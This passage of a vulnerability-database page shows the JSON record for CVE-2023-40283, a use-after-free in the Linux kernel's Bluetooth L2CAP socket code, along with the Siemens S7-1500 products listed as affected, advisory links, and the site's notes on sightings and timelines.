                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-18T15:06:00.041Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-14T23:47:45.897Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-806742.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An issue was discovered in l2cap_sock_release in net/bluetooth/l2cap_sock.c in the Linux kernel before 6.4.10. There is a use-after-free because the children of an sk are mishandled."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-01-11T19:07:21.176Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1728137b33c00d5a2b5110ed7aafb42e7c32e4a1"
        },
        {
          "url": "https://github.com/torvalds/linux/commit/1728137b33c00d5a2b5110ed7aafb42e7c32e4a1"
        },
        {
          "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.4.10"
        },
        {
          "name": "DSA-5480",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.debian.org/security/2023/dsa-5480"
        },
        {
          "name": "DSA-5492",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.debian.org/security/2023/dsa-5492"
        },
        {
          "url": "http://packetstormsecurity.com/files/175072/Kernel-Live-Patch-Security-Notice-LSN-0098-1.html"
        },
        {
          "name": "[debian-lts-announce] 20231019 [SECURITY] [DLA 3623-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20231020-0007/"
        },
        {
          "url": "http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html"
        },
        {
          "name": "[debian-lts-announce] 20240111 [SECURITY] [DLA 3710-1] linux security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2023-40283",
    "datePublished": "2023-08-14T00:00:00.000Z",
    "dateReserved": "2023-08-14T00:00:00.000Z",
    "dateUpdated": "2026-10-14T23:47:45.897Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

RHSA-2024:0461

CVE-2022-3545 (GCVE-0-2022-3545)

CVE-2022-36402 (GCVE-0-2022-36402)

CVE-2022-41858 (GCVE-0-2022-41858)

CVE-2023-2166 (GCVE-0-2023-2166)

CVE-2023-2176 (GCVE-0-2023-2176)

CVE-2023-3777 (GCVE-0-2023-3777)

CVE-2023-3812 (GCVE-0-2023-3812)

CVE-2023-38409 (GCVE-0-2023-38409)

CVE-2023-4015 (GCVE-0-2023-4015)

CVE-2023-40283 (GCVE-0-2023-40283)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour